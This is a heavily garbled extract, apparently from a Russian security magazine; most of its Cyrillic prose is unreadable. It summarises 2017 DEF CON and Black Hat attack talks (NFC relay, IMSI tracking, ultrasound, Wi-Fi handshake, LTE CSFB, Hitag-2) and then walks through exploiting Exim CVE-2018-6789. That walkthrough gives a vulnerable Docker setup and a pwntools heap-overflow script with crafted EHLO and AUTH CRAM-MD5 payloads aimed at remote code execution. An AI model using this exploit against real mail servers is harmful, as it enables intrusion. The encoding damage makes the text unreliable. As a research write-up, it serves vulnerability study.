????�??�?燫FID????�???�????.�????�??????�???��?????�??�???�?�????
?????,� ???????� ???�???�?� ???�???�???� RFID?????�?� ?� ???????� ????�???� ?
?�??�????�????�?.
?????�?????燤ITM-?????:燤AN營N燭HE燦FC
Haoqi� Shan.� Man� in� the� NFC:� Build� a� NFC� proxy� tool� from� sketch� //
DEF燙ON.�17
???�??????� NFC� (Near� Field� Communication)� ??????� ??????�???�?
?� ????????,� ???�????� ???�??�??� ?� ?????�???� ?� ???�????� ?� ????�??�???�??
???????�??.� ???�??,� ???� ?????,� ???� ???�??????� �??�??� ??????�??�
???�???????????,�?�???�??�????�?.�)�??�???�?��??�?????,��?????�
??????�?,�??�??�??�???�??�??????�??�???�?�??�???�???�????�??�?.
?�??�???�???�???�??�??�??�???�??�??�???�??�????�?�????�???�
????�??�??� ???�??�?� UniProxy,� ???�??�????� ??� ????� ???�????�???�???
PN7462AU� (ARM????�??�??� ???� ?� NFC????????� ??� ???�?).� ????� ???�??�???
???�???�?�???�?????�??,�??�??�?�??????�???�???�???�??�????�????
?�?????�???�???�???�?�?????�??�?????�??�??�????.�???�?�??????�
???� ???????,� ???�??� ???????.� �??????粻 ?????� ???�???�?� ???�?� ?� ???�??
???�?????�???�????�?�??�????????�?�???營SO�443A�(??????�???�?�???,
??????� ???�??????� ????� ???�?:� ???�??�???,� ????�?????�??,� ???�???,� ???�?
???�???�??�?????????�??�???�????�??�????�??????�????�?�????????�?
??????�???�?� ?� ????� ??� ???�?� ???�????,� ????�??,� ???�?� ??� ????�???�??�??
????�????營SO�443A)��??????�??????�??�??�??�??�??��?????�???�???�
???�???�??�???�???牜??????�?粻??????�???.�??????��??????�??�?????�
??� ???�?� ???�??�??�?� ???�??�??�???�?� ?????� ????�??�????�???,� ????????
??�??�??�???�?�0�.
???�???????????:�?????�???????????�???
Matt� Knight,� Marc� Newlin.� Radio� Exploitation� 101:� Characterizing,
Contextualizing,� and� Applying� Wireless� Attack� Methods� //� DEF� CON.
2017
???� ????�?� ?� ????�?� ???�???�??�?????� ??????� ???�???,� ?� ????�?� ?????�
????�??�??���???�?�????�???�??�??�???�??�????�??�???�?�??�???�
???�??�??�?????�??!
?????�??�??�??�??�?????�??�??�????�?�??�????�??�??????�??�??
????�???� ?� ???�???�?� ????,� ???� ??????�?� ???????�????� IoT� ?� ????�????�
??????� ???�???�?� ?� ???????�???� ?????� ??????�???.� ????� ???� ??� ????�????�
??????�??�???�?,�??????�?�???�??�?��?????�??燱i?Fi�燘luetooth,�????�
????�??�??�??�???�???�???�??????�????�??�??,�??�????�??�??,�????�
??????� ??� ???�???� ???�?,� ???� ?????� ????????�?.� ????� ???�??� ???�?????�?
???�????�???�??� ????�?� ???�????�???� ????�??�??�?.� ???�?� ????�??
???????�??� ???� ????�???�???�???� ????�???�?????� ???�?????� ???�?????
????�???�???� ????�?????�??� ???�??�??�??� ????�?.� ???�????� ???�??�???�
???� ???�?,� ???�?????� ???�????� ?????�???� ?� ????�????�???� ???�??�??�?
???� ???�??�??� ?????,� ?� ???�?� ??????�?� ?????�?,� ???????� ???�???�?� ????�?
???� ???�??�??�??� ?????.� ???�???�???� ???�???�???� ???�?????� ??????
??????�??�????,�????�????�???�?燬DR??????�?��???�??�??�????.
???�??� ??????�?� ????�???????� ?????� ??????�??,� ???� ????�???�?� ????�
???�??�??�???��??�??�?????�???�?????�??�??�??�??�??�??�??�????
?�????�??�??�??�??.
?????�??????????�/4G-??????
New燗dventures爄n燬pying�燼nd�燯sers:燣ocate燭rack�&燤onitor
//燘lack燞at.�17
???�???,�??�/4G??????�?�??????�?,��??�??�?????�?�??�???.�??,
???� ???� ???� ???�???� ???� IMSI??????�????�??,� ???�?� ?????�???� ???� ???�?,
???�??� ????� ??????� ??� ???�???.� ???�?� ??� 3G/4G?????� ???�???�???� IMSI?
?????�????�??�??�??�?�????�??,�?????�??�???��??�????�??�??????
?????�???�????.�???�?��???�??�???�??�??�???�???�??�????�??�???
???�?��??????�??�???�?�??�?�??�???��?????�???�?????????�??????�
???�????�??.
?� ???�???�?,� ???�???� ?????� ???�??????� ?� ??????� ???�??????�??�??
?� ?????� 3G/4G� ????�????�????�??� ???�???�?.� ???�???�???� ???�?????� ????�
????�??�??�??�??�???�??�????�?��?????�?????�?�?????�???�??�????�
?????.� ???�?� ????,� ???�?????� ???�????� ???�???�?� ??????�??�???�??� ????,
???�?� ????????,� ?� ?????� ???�???�??�?� ???� ?????�??� ????�?????�??� 3G/4G?
?????�??�????�??�??�?�??�??�??????.
??????????????�????�?????�????�???????
Sonic燝un燭o燬mart燚evices:燳our燚evices燣ose燙ontrol燯nder燯ltrasound/Sound�//燘lack燞at.�17
MEMS????�???,� ?????� ???� ????�???�???� ?� ?????�??,� ?� ???�?????�??
?� ??????�????� ???�????�?� ???�????�??� ?????� ???�????.� ????�?� ???�???
????�???�?�??�??�??��???�??�??????:�??�???�????�??�????�??????�
????�?�???�????�??�???�?�?????�??�??�????,�??�??�????��???�????
??????�??�??�???.
???�??????� ??????�????� ???�?,� ?????�???�???� ????�?� ??????�???�???
???�???� ???�???�???� ???�??� ????�???�?� ???????�??� ???� ????�???�??�?
?� ?????�???.� ???�?� ????,� ???�?????� ????�???�???� ???�?????�??�??� ???�?,
???????�?????�???�??�??�???��????�?�????�??�?.�??�?????�??�????
???�???�?�??�???�??�??�??�??�????�?�?�????�??�???�?????�??�???
?� MEMS????�?????� ??� ???�?:� VR??????�?,� ?????�??� ?????�??????� ?� ?????�
?????�????�??,� ???�?� ?� ???�??.� ???� ??????� ???�?????� ?� ?????�??� ?????�
????� ???�???�??????� ???�???� ???�?????� ???�???� ???????�??� VR??????�?,
?�??�??�?�???�??�?爄Phone�燝alaxy燬7.�??�?????�?????�???,�??,�???�
???�????�?�??�????�????�?�??�???�????�?�??????�???�??�????,�???�
??� ??????�???�???� �??�????�??� ?????�?????�.� ???�????,� ?????????� ????�
?????�???� ?????�?� ???� ??????????� ???�????� ??� ???�???� ????�?????�?
???� ????????� ???�????�????� ?� ???�????�?� ???�?????�?.� ?????� ???�????
???????� ?????� ??????�???� ??????�??� ????�?????�??,� ??????� ???� ???� ????�
????�????�?�??�????�??�??�???�??�????�??�?�??�????�?????��?????�
??????��???�???????�?.
???�?????� ???�??�???�?,� ???� ???�????� ????�????�??� DJI� ?� ????� ????�???
???�??�???�??.
??�??� ????�??,� ???�???�???� ???�???�??????� ???�?� ???�??�?� ??????
????�?????�??� ???�??�?� ???� ??� ????�?� ???�?????.� ?� ?� ???�??� ?� VR?????�
??????��????�??�?�????�??????��???�????�????�??�??�??�?�??�???�
??�??�??�?��???�????�??????�??�???�??.
APPLE燩AY�牜?????�?????????粻?????�?????
Timur� Yunusov.� The� Future� of� ApplePwn� ?� How� to� Save� Your� Money
//燘lack燞at.�17
???�??�????�???????�?�?�??�????�(???�??�?�?�??????�??�??牜?????
???????�??�),�??�?????�??�????�??�???�???�?�??�????�?�??�?�??�???�
????�??�???.
??�??�????�????�???燗pple燩ay,�??�??????�??�??�??�??�??�??�????�
???� ???�??�??� ????�?????� (?????�?????� ?� ?????�??� ???????�???� ?????�?),
??????�?��??�????�??�??�??�??????�??�(??�??�???�?�????�?)�?????�
??????�?��????�????�??�???,�?�??�??�?????,�???�?�??�??�???�???�
??????�??� ???� ???�???�????�?.� ????�?� ???�?????� ????�???�???� ???�?????�
????�??�??�???��????�??�???????�????,�??�???�???�???�?�??�??
??????� ?� ????�?????� iPhone� ?� ???�??�???� Apple� Pay� ?� ???�??�??????� ?????
???� ???�???�????� ???�??�???� ????.� ???�?� ???�?????� ??????�???,� ???� Apple
Pay� API� ???�??�????�?� ???�???� ????�?� ???�???,� ???� ???�?� ???� ???�????
???�??�???�??�?,��??�???,�??????�???�????�????�???�??�???�?????�
??� ????????� ???�?????�?� ?� ??????�???�????� ???�????� ???�???�???�?
?????爄Phone.
???� ?????� ???�?????� ??????�???� ???????�???�????� ?????�??�???:
�????�???,�?????��??�???,�??燗pple燩ay��??�????�??????�??�??�?
????�?,� ??� ?????� ???�?,� ???� Apple� Pay� ????�???�???� ?????� ???�???�?????
???�??�???�??�??�????�.
WIFUZZ:�??????????��???????????�?????????
???????????��????????????????�??????????燱I-FI
Mathy� Vanhoef.� WiFuzz:� detecting� and� exploiting� logical� flaws� in� the
Wi-Fi燾ryptographic爃andshake�//燘lack燞at.�17
???�????�??燱i?Fi�??�???�???�??�???�??�??????�????.�????�????
????�????,� ???� Hotspot� 2.0� ?� Opportunistic� Wireless� Encryption,� ????� ????�
???????�??.燞otspot�0�???�???�????��????�???,�??�????�??????????�
????,� ???�???�???� ??� ????� ??� ????�???,� ???� ?� ???????� ?� ???????� ?????.
?�??�??�??�???,燨pportunistic燱ireless燛ncryption�??�??�???�?????�??�??
???�??????� ???� ?????� Wi?Fi.� ?????�?� ????� ???????� ???????.� ??� ???
??� ?????� ?????� ???�??� ???�??� ??????�?� ????�?,� ????� ???� ?????�????
??????�????�???� ????�????�????�???� ??????�????� Wi?Fi� (??� ???�?� ??????�?
?????�?�?????�???�???��????�??�???�??�??�??)�?????�?�???�?.
?�???�??�???�??�??�???�???��?????�??�???�?,�??�???�???�???�???�
?????�?��????�????�??�?�?????�????��??�??�???�??????�??.�??�??
?????� ????� ????� ??� ?� ???�???�????� ????�??� ????�????�???�??� (?????
???� ???????�????� ??????� ???� ???�?????� ????�??�????� ??????),� ?� ?
???????�??�??�????�??.�??�????�??????�??�??�????�?�????�???�????�
????,�??�?�??�?????�????�?????�??�???�????�??�??�???�?,��??????�
????�???�????�???�?????�?????�????�????�???�??�??�???�????�?????�
???�??�?.�??�??�?,�??�????�??�??�????�?�??�??�?�??�????�?????�
???� ???????�????.� ???�?� ????�?????� ?????� ???????�??� ???�????�?,� ????�
??????� ???�???� ????�?� ??????� ??????�????� Wi?Fi,� ???????� ???�???�?� ????�
??????� ??????�??.� ?????� ????�???�??�?� ??????�???� ???�??� ?????� ??????�
???�???� ????�????� ??????�????� ?� ?????� ???�???�?,� ???�???�?� ??� ??� ???
?????�???�????�????�??�?????�(????�???�??�?�?�?�????�??�??�???�???�
???�?????).
???�?????�??�??�??????�??�??�???�????�??�???燱i?Fi���??�??�????�
?????�??�????�?.�??�?�??:�??�???????�???�?�??�???�?�????�??????�
???,� ???�??� �???�??�??� ????�??�,� ???�?� ??� ??????�??� ??????,� DoS????�?
?�??�??.�????�??�???�??�???�??�??�????�?�??�???�燨penBSD.�??�??
??� ???� ?????� ????� ???�??�??�???�?� ???� DoS????�?� ??� ???�?� ???�???.� ????�
???��??燤iTM????�?�??�??�??�????燱PA1�燱PA2.�??�?????�??�?�????�
?????�??�????�?,�??�???�???�??�??�?牜???�?�?�?????�??粻???�??燤e?
diaTek�燘roadcom,�??????�??�????�?�?????�?????燭KIP�燫C4.�??�?�???,
???�?????�????�??�????�?,�?????�?�??�?�??�???�??????�??燚oS?????�
??� ???�??� Windows� 7,� ?� ???�?� ???� ???�????�??� ?� ?????�???�?� ???� Aerohive,
Apple,燙isco,燞ostapd�燱indows�.
�?????????�?????????粻??????�???�?�??
???????????燣TE燙SFB
獹host� Telephonist粻 Impersonates� You� Through� LTE� CSFB� //� Black
Hat.�17
?� ???�???� ????�???�???� ????� ??� ???�????�??� CSFB????�??????
?�??????�???�燣TE.�??�?????�???�????,�??�??燙SFB????�??????�???�
????�?� ?????�?????�??� ??????�??�?.� ???� ????� ?????�????�???� ???�????�
?????�?�??�???????�????�???????�??�??�?????�??�??�??.�??�???????�
???�?�???�?�???�??�????�?�??�?�??�?????�??�??牜????�?????�??????�
????�.
???� ???�??????� ???�???�?� ????�?????� ???�???�?� ???�??�???.� ??????�??,
???�?� ???�??� ???� SMS� ??� ?????�?????� ???� ?????�?????� ???�?,� ???�????�
??????�????�???????�???�?�??�??:�??�?????�?�?�??�?�?????/?????�
?????,��??�?�??�????�???�?.�?????�??,牜????�?????�?????�???粻?????
????????� ?????� ??????�?� ???�?� ???�??� ?� ?????� ??????�?????� ????� ?????
???� ?????�????� ????�??????� ???�?,� ???�????� ????�?????� ????�???� ?� ????�
??????�???????????�????.�??�?�????�??�???�???�?��???�??????:�???
??� ???�??�??,� ????� ??� ???�???�??� ???�??.� ???�?????� ???�??� ???� ???�?
???� ??????� ????�???�???� ??????�???,� ?� ??????�???�????�??� ????� ????�
????�?.
???�?�?�??�???�?��??�???�??�??????�???�??,�????�?�??�?????�?
?????�????�??�??.�??�?�???,�??�??�?�??�??�???�?????�???�??????�
???,�?????�??�??�??�???�??�??????�???�??��??�?????�???�???.
????�?????,�??�??????????:�????�?�????????????
?????燞ITAG-2
One燙ar,燭wo燜rames:燗ttacks爋n燞itag-2燫emote燢eyless燛ntry燬ystems� Revisited� //� Proceedings� of� the� 11th� USENIX� Workshop� on� Offensive燭echnologies�(WOOT).�17
??�????� ?� 2006� ????� ?????�???� ???�?� ???�??????,� ???�???�?????
???????�????� ????�??�?� Hitag?2� ?� ???�??�??� ???�??�?� ???�???� ?� ????�????�
???.� ????� ????�????�??� ???�?� ????�??�?� ???� ???�?� ???�???,� ??� ???
???�?????�???�?��???�?????�??�??�??�?????�?.�???�??�??�????�?
????� ????�???�?� ?????� ???�????�?� ?� RKE????�??� (Remote� Keyless� Entry� ?
???�??�??� ???�??�????� ???�??� ?� ????�???�?),� ????�??�??� ??� Hitag?2,
???????� ????� ???�???????� ???�??�?� ???�?� ??� ???�??�????�?� ????�???�??
???�??�?�??�???�?�??�??�?�??????�?�???�?�???�??�????.
??�???� ?� ???�???� ??????�?,� ???� ???�???�??�??� ?????�????� RKE????�??
??� ????� Hitag?2� ???�???�?� ????�??� ????�??�?,� ???�???�?� ???????� ???�??
RKE� ?????�???� ???� ???�??�??� ???�?.� ???�?� ????,� ?� ???�???� ????�???�??
??????�??� ???�??� ?????� ???�???� (??� ??????� ???�???� ???�?)� ?� ???????
??� ???????�???/????�??�???� ????�?� ?� ?????�????� �??�????�?� ?????�
??????�?�????�.�??????,��??�???�??�??�???�?�????�???�????�?????�
???� ???�??????,� ???????� ???�?� ???�??�??�?????� ???� ???�????� ???�???�??
???????� ???� ?????�????� ????�????�????�???� ???�?� ?� ?????�???� ???????
????�?????���??�????�???�?�???�???�??�????.
?�??�???�?????�?,�??�??�?????�????�?????�???�????�?�??�????
?� ??� ??????� ???�?????� ?????� ????�?� ???�?� ???�?� ?????�???� ????�????�???
???�?,� ???????� ???�???�?� ????????� ???� ??� ?????� ?????� ???�??� Hitag?2,� ???
?� ???� ??????�??????� ???�????�?� ???�?.� ???� ?????� ???�?� ???�???�??� ?????�
???�?� ????�?� ???�????�?� ?� ?????� ????�??� ???�????� ?????�?????�???
????�??�???.
?????
???????
??????
aLLy
ONsec
@iamsecurity
?????????????�??????????
??????????��????????燛XIM�
???�?�??�???�?????�?�??�???�???�??�?????�?????�??
??� ???????�????,� ??????� ????�??????,� ???� ??� ?????� ?????
???�??�?� ?� ???�??.� ???� ?� ???�?????� ?� ????�??� ???????�?
????�????燛xim:�????�?�???�????�??�??�???????��??
???�???�????�???�??�???,�??�???�???�?�???�??�???
??????� ??� ???�?????� (4.90.1).� ???�???�?� Exim� ?� ???�?
???????�??,� ???�??� ?????�????�?� ???�????� ?????� ????�?
????�??.� ?????� ???�?????,� ???� ???�??�??�?????� ???� ?????
?????�?.
??�??????�??� ????�???� ?� ???� ???�??�?????� ???�??�????� ???�???�???
????,� ???????� ?????� ???� ??� ?????�???�???� ???� ?????� Meh.� ??� ????� ???� ??
???�????� ???�???????� ???????�????� ??????� ?� ???�???� ???� ??????
?�??????�??燘ase64.
???�??????� ???� ????�?????� ???�?� ????�?????�????� CVE?2018?6789
?� ??????�?� ???�??� ???�????�??,� ??????� ???� ???�????� ?� ???�??�???� ??????�
?????�????�?????�?�??????�??�???��??�???�???�?????�?,�?�??�?
??????�?�?????�?燛xim.�??�??�?�??�?�?�???�???�??,�?�?????????�???�
???�??�???�??�???.�????�???�?�??�???��??�?燬MTP.
???????�??????????
???�??�??�??????�????�??�?�??�????�??�??�????�????????�??�??,�??
???�??????�??�???�?????�?�??�????燬kysider��????�???:
$燿ocker爎un�it�?rm�?name爀xim�p�:25�?cap?add=SYS_PTRACE�
??security?opt爏eccomp=unconfined爏kysider/vulndocker:cve?2018?6789
????�?????�?�?燚ocker�???�??�???�???,�?�??????�????燬MTP.
??�????�????�??�??�??�??�??燛xim
??�?� ???�?� ???�??�??� ?????�???,� ??� ??� ??????� ???� ????�?????� ?� ????????�
??????�???燛xim��???�??�???�??�?????.
$燼pt?get爑pdate�&&燼pt?get爄nstall�y爂db
$燾d爀xim?4.89
$爌rintf�"CFLAGS�+=�g\n"�>燣ocal/Makefile
$爉ake
???�?� ???� ??????�??�?� Python� ?� ????�??�?????� pwntools� ???� ??????�??
?� ???�?????�??� ???�??�??.� ?� ????�?� ???�????� ???� ????� ?????????�??�??
??�???�?燚ebian.
$燿ocker爎un�it�?rm�?link=exim燿ebian�/bin/bash
$燼pt?get爑pdate�&&燼pt?get爄nstall�y爌ython爌ython?pip
$爌ip爄nstall爌wntools
???�?????,�??�??��??????!
??????��????
???�?????�????�??�?�???�??�????�????�??�???.
/src/base64.c
153:燽64decode(const爑schar�*code,爑schar�**ptr)
154:爗
155:爄nt爔,爕;
156:爑schar�*result�爏tore_get(3*(Ustrlen(code)/4)�+�;
157:
158:�*ptr�爎esult;
??� ??????�??� ???�????�?� ???????�??� ??????� ????�???� store_get� ?� ????�
??????� ???�???� ??� ??????� ???� ?????�???�?� ??????,� ???????� ??????�???�?
?�??�???燛xim.
/src/store.h
30:�#define爏tore_extend(addr,old,new)燶
31:牋爏tore_extend_3(addr,爋ld,爊ew,燺_FILE__,燺_LINE__)
32:
33:�#define爏tore_free(addr)牋牋爏tore_free_3(addr,燺_FILE__,�
__LINE__)
34:�#define爏tore_get(size)牋牋牋store_get_3(size,燺_FILE__,燺_LINE__
)
35:�#define爏tore_get_perm(size)爏tore_get_perm_3(size,燺_FILE__,�
__LINE__)
36:�#define爏tore_malloc(size)牋爏tore_malloc_3(size,燺_FILE__,�
__LINE__)
37:�#define爏tore_release(addr)牋store_release_3(addr,燺_FILE__,�
__LINE__)
38:�#define爏tore_reset(addr)牋牋store_reset_3(addr,燺_FILE__,�
__LINE__)
...
43:爀xtern燘OOL牋牋store_extend_3(void�*,爄nt,爄nt,燾onst燾har�*,爄nt
);
44:爀xtern爒oid牋牋store_free_3(void�*,燾onst燾har�*,爄nt);
45:爀xtern爒oid牋�*store_get_3(int,燾onst燾har�*,爄nt);
46:爀xtern爒oid牋�*store_get_perm_3(int,燾onst燾har�*,爄nt);
47:爀xtern爒oid牋�*store_malloc_3(int,燾onst燾har�*,爄nt);
48:爀xtern爒oid牋牋store_release_3(void�*,燾onst燾har�*,爄nt);
49:爀xtern爒oid牋牋store_reset_3(void�*,燾onst燾har�*,爄nt);
??� ???�?� ??????� ???�???� ??????�???� ?????� ???�????� 3*(len/4)+1� ????
???� ???�????� ??????�????�??� ???�??,� ???� len� ?� ???�?� ??????�?????� ????�
???.� ?????� ???�???� ??� ???�??�?,� ???� ???� ?� ????�????� Base64� ???�??� ???
????????�??�?�?????�???�?????�?�??�?????.��??�??�??�???�???�???�
???�??????�??�??�??�???�?�??�??�??????,�?,��??????,�?�????�?�
???,� ?� ????� ????????� ???????�??� ??????�??�??� ????�?,� ??� ???�???
store_get�??????�????�??�??�????�??�???�?????�???�?????.
???�???�?????�???�?????�??�????�??��??????�??�???�?燘ase64
?�????�??�??,�??�?�?????�?�???�?�??�????���燛xim�??????�????�
??� 3n� +� 1� ????,� ??� ???�?� ??????�???�??� ???????�?� ????�?,� ???�????� ???�??
???????�????�????��+�??�?,��??�??????�??????�????�??�????�?
??????��??????�??�????.
???� ??????�???�?� ???????�?� Base64?� ??� ????�????�?� ???�?.� ???????
??�??�??�????�???�???�??��????�????�??�???,�??????�???�????�???
?�???�??.�??�??�???�????�????�?�??�???.�???�???�??�??�??�????,
???� ???� ???� ??????�?� ????�????� ????� ???�?� ???�???�???� ?????�??� ?????
?�?????.�?�??�????�???�?�??�???�??�???????�????�?????�??燙RAM?
MD5,�?�????�??��????�??�??,�??????�?????�?�燘ase64.
??�???�??�????�?????�??��?????��??????.�??��??�????,�燛xim
?????�??�?�??????�??�????�??�???�??�???�????.�??�???� store_mal?
loc��????� malloc�??�????�?�??�????�?爂libc.�??�?????�???�??????�
????�??�?�?????�??�???�??�???.
/src/store.c
507:爒oid�*
508:爏tore_malloc_3(int爏ize,燾onst燾har�*filename,爄nt爈inenumber)
509:爗
510:爒oid�*yield;
511:
512:爄f�(size��)爏ize��;
513:
514:爄f�(!(yield�爉alloc((size_t)size)))
???�??� ???� ???� ???�????� ??????� ???�?� ???�??� 16� ????� ??????�?� ????
?�??????�???.�?�??�?�????�?�?�??�???????�?.��??�??�??�??????�
????� ???�??� ???�???�???� ???�?,� ?� ??� ???�??� ?� ???�??� ??????�?� ?� ???�?,
???????�??�??�?��??�??�???�????.�??�?�??�?�??�???�??�??�???�???�
??????�?�?????�??�?��??�???.�??�????�??�??�??�?�??.
?????�???�??�?
????�???�??� ???�??,� ??????�?????� ???� ??????� Exim,� ???�??�?� ?� ????� ?????�
?????�?�???�?�(doubly爈inked爈ist),�??????�?????�???爑nsorted燽in.�??�???�?
glibc�??�??�???�??�????�??�?��???�???�??�???,�??�??�???�?�????�
????� ????�????�??.� ???�?� ???�???� ???�???� ??� ??????�??� ???�????�?� ????�
?????�?????�?�??�??�?��????�?牜???�??�??�??��??�??�???粻(FIFO).
??� ????�??????� ???�???�?????�??�?� Exim� ???�??�????�?� ????�???�??
?????�???� ???�??�???� ????�?,� ?� ???????� ??????�?� ???�???� store_get,
store_release,� store_extend� ?� store_reset.� ???� ?????�???� ??????�???
storeblock.
/src/store.c
71:爐ypedef爏truct爏toreblock爗
72:牋爏truct爏toreblock�*next;
73:牋爏ize_t爈ength;
74:爙爏toreblock;
???�????� ??� ??� ?????�????:� ??????� ????�???� ???????�?� ?� ???????�???,
?????�???�?� ???� ????.� ??� ????�???� ?� ????� ?????� ???�????�?� ???�??�?
?�??�??�??�??�?????�?.
??�?????�??� ???�??� ?????� ???�??�??� ?????� ????� 8192� ????
????��???�?????��??��???�??????�??,�??�?��24�(0?2020).
?????�???爏toreblock
????�?�????�??�???�?�??�???�?��??�???爏tore_get.
/src/store.c
062:�#define燬TORE_BLOCK_SIZE�92
...
128:爒oid�*
129:爏tore_get_3(int爏ize,燾onst燾har�*filename,爄nt爈inenumber)
130:爗
...
143:爄f�(size�爕ield_length[store_pool])
144:牋爗
145:牋爄nt爈ength��(size�=燬TORE_BLOCK_SIZE)?燬TORE_BLOCK_SIZE��
size;
???�?�??????�??�??�??�??�?????�??�??????,�??�??�?�??�???�????�???
??�???�??�??.
??�??�????��?????????
???� ???�????� ?????�???� ???� ???�?� ???????�?� ??????�???�???� ???�???,
???� ???�?� ???�??.� ???� ???�?� ?????�??� ?� ???????� ??????�??� ??????� ????�
????�?燬MTP.
???�??� ?� ????�?� ?� EHLO.� ???� ??????�???�?� ???� ???�???�???,� ???????
??????�???� ???�?� ???�??�????� ?� ???�???.� ?� ?????�??� ????�??�?� ???�?
????????�??�??�????�??�??�??�???.�??�?�???�??�????�?�???�???�?,
???�?????�?�??????�??�????�?????�???�?��??????�??� sender_host_?
name,��??�?�??�????�?�????�????�????�?�?????�???� store_free,�???�
??� ????�?????� ???�?� ???� ??????� ???�?,� ??????�?� ??????�???� ??????
?�??????爏tore_malloc.
/src/smtp_in.c
1751:爏tatic燘OOL
1752:燾heck_helo(uschar�*s)
1753:爗
...
1758:�/*燚iscard燼ny爌revious爃elo爊ame�*/
1759:
1760:爄f�(sender_helo_name�!=燦ULL)
1761:牋爗
1762:牋爏tore_free(sender_helo_name);
1763:牋爏ender_helo_name�燦ULL;
1764:牋爙
...
1810:爄f�(yield)爏ender_helo_name�爏tring_copy_malloc(start);
??�???� ?� EHLO� ?????�??�?� ?????�?� MAIL� ?� RCPT.� ???�?� ???� ???????� ?????�
????�?,� ?????�????� ???�???� smtp_reset,� ???????� ??????�?� store_reset
?� ?????�???� ?????� ?????�?� ???�??� ?� ???�?� ????�?� (reset_point).� ???� ????�
?????� ?� ????�??�????� ????� ???�??,� ???????�??� ???�??�?� store_get� ???�?
???�?????�????�?.
/src/smtp_in.c
3648:爄nt
3649:爏mtp_setup_msg(void)
3650:爗
...
3656:爒oid�*reset_point�爏tore_get(0);
...
3666:爏mtp_reset(reset_point);
3667:爉essage_ended�燛ND_NOTSTARTED;
/src/smtp_in.c
1882:爏tatic爒oid
1883:爏mtp_reset(void�*reset_point)
...
1982:爏tore_reset(reset_point);
???�?????� ?????�??� ?� ?????� ????�??�???� ???�???� ?????�?.� ????� ???
?????�??� ??????�?????� ???�???,� ??� ???� ???�????�???�?� ?� ??????�???,
?燛xim�?????�?�?????�??�?�??�????.
/src/smtp_in.c
5556:牋牋爄f�(unknown_command_count++�=爏mtp_max_unknown_commands)
5557:牋牋牋爗
...
5571:牋牋牋燿one�爏ynprot_error(L_smtp_syntax_error,�0,燦ULL,
5572:牋牋牋牋燯S"unrecognized燾ommand");
??�??�?� AUTH� ????�???� ????�???�?� ??� ?????�?????�??.� ?????� ??� ?� ?????
??????�?????� ???????�????� ?� ??????� ?� Base64.� ???�?????�??� ?� ???????�
?????�??�???�?�?????�???�?��????�??�?????� store_get.�??,�??�?
???�燛HLO,�??�???�?�????�??�???�?�???,�???�??�???????�?,�??�????
???????�??�??�??�??�??�??.
??????????? ??????
?
? �?????�?????
?????
??????? ??????
?????????????�??????????
??????????��????????燛XIM�
????????????
???� ??????� ???????�??� ?????�???� Exim� ?????� ????????,� ???�?� ????� ???�?
?????�?????�???�燫CE.
$燿bg�/work/exim?4.89/build?Linux?x86_64/exim
$爎�bd�d?receive�C燾onf.conf
??�???�??�???燛xim�????�???????燝DB
??�??�???燩ython,�??????�???�??�??�??�????�?��??�??�???�?��????�
??.
from爌wn爄mport�*
from燽ase64爄mport燽64encode
serv�爎emote("192.168.99.100",�)
???�??�???��??�??�??�??�??�????�?
???�???� ??????�?� ????�??� ????� ?� unsorted� bin.� ???� ???�?� ???�???
?�??????�????�?� EHLO.�?????�???��????�??�???�??�?�???�?�??�???
???�??�???.
serv.sendline("ehlo�"�+�"a"*0x1000)
serv.sendline("ehlo�"�+�"a"*0x20)
??�???�?�???�??�???�爑nsorted燽in
????�?� ?� ???????� ???????�??�???� ?????�?� ??????�?� ?????�????
store_get.�??�?�???????�?�??�????????�?��??�???,�??�????�???�??
??� ???�???�?� ?????�???� storeblock� ?� ????�????�????� ???�?� ????�???
???�????�??�?.
serv.sendline("\xee"*0x700)
??�???�??????�?�??�?�?????�?�??????�??�???�????�?
??�???� ???�?� ??????�???� ?????�?� EHLO,� ???�?� ???�???� ???�??� storeblock,
???�???�??�??�???�??�???�?,�?????�??�???�???�???� smtp_reset.�???�
????�?� ???�?� ??� ???�????�?� ????,� ?� ???????� ???�??�?� ???????�??� ?� EHLO
sender_host_name,��?????�?爑nsorted燽in.
serv.sendline("ehlo�"�+�"c"*0x2c00)
??�????��?????�?????爏mtp_reset
??�???,�??�?�??�????�????�???�???�???,�??�?�???????��??????�????�
??.� ????� ??????� ?� ?� ???� ???????� ???�?????� ???�??� ???�?.� ??????�???
????�???�??燙RAM?MD5.
serv.sendline("AUTH燙RAM?MD5")
???�?????�?� ???�??� ???�??,� ???????� ???� ???�?� ????????.� ??� ?????
????????�??� ???�??� ???�?,� ???�??�???� ?� ????� 16� ????� ???????�??
?�??�???,�??�?�??????��????爏toreblock,��??�??�??�???�??�??.
payload��"d"*(0x2020+0x30?0x18?1)
??�???�?� ?� Base64,� ?????�???� ????,� ???????� ?????� ???????� (0xf1),� ?� ?????�
????�?�??????�??�???�?��??????�??燘ase64.
serv.sendline(b64encode(payload)+"EfE")
??�???�???�??�??????�??�???�?燘ase64
??�???� ???�?� ???�????�??� ???�??� ???�?� ?� sender_host_name� ???�??
?????�20f1�???.�??�??,�??�?????�???�???�??�?�???�?�????�??�??,
???�???�???�?,�?�????�?????�??�????��??�????�00?0x?.
???� ???� ???�??� ????�??�?,� ??????� ???�?????� ????� ??????�???� ????�?
???????�?.�??�??�?�????�???,�??�?�??�??�?�????�???�?�?�??�????�?
glibc�?�????�??�??�???�?????�????��????.
serv.sendline("AUTH燙RAM?MD5")
payload2��'m'*0x70+p64(0x1f41)
serv.sendline(b64encode(payload2))
???�?�?????�??�??�???�???�????�????�??�????�?�??�?????�??�?,�???�
??� ?????�???� store_free.� ???� ???�?� ???�???,� ??????�??� ???� ??� ??� ?????�?
EHLO.� ????�?� ??� ????????� ?????�????� ???�????� ?� ??????� smtp_reset,� ???,
?� ????� ???�???,� ???�????� ???�??� ???�??�?.� ???�?� ???�?� ????�???,� ???�?
?????�???�????�??�???�????�??�??��???�??�??.�??�?�????�????�???�
????�????�????�???�?�?????.
serv.sendline("ehlo燼nything+")
/src/smtp_in.c
3882:牋牋爄f�(!check_helo(smtp_cmd_data))
3883:牋牋牋爗
3884:牋牋牋爏mtp_printf("501燬yntactically爄nvalid�%s燼rgument(s)\r\n
",爃ello);
...
1797:牋牋牋爄f�(!isalnum(*s)�&&�*s�!=�'.'�&&�*s�!=�'?'�&&
1798:牋牋牋牋牋燯strchr(helo_allow_chars,�*s)�=燦ULL)
1799:牋牋牋牋爗
1800:牋牋牋牋爕ield�燜ALSE;
1801:牋牋牋牋燽reak;
1802:牋牋牋牋爙
...
1811:爎eturn爕ield;
???�?��???�???????��?????�??�??�??�??�??�??�??.�?�??�??�?????
??� ???� ??????� ?????�?� AUTH� ?????� ????�???� ???�?????� ??� ?????� ????�
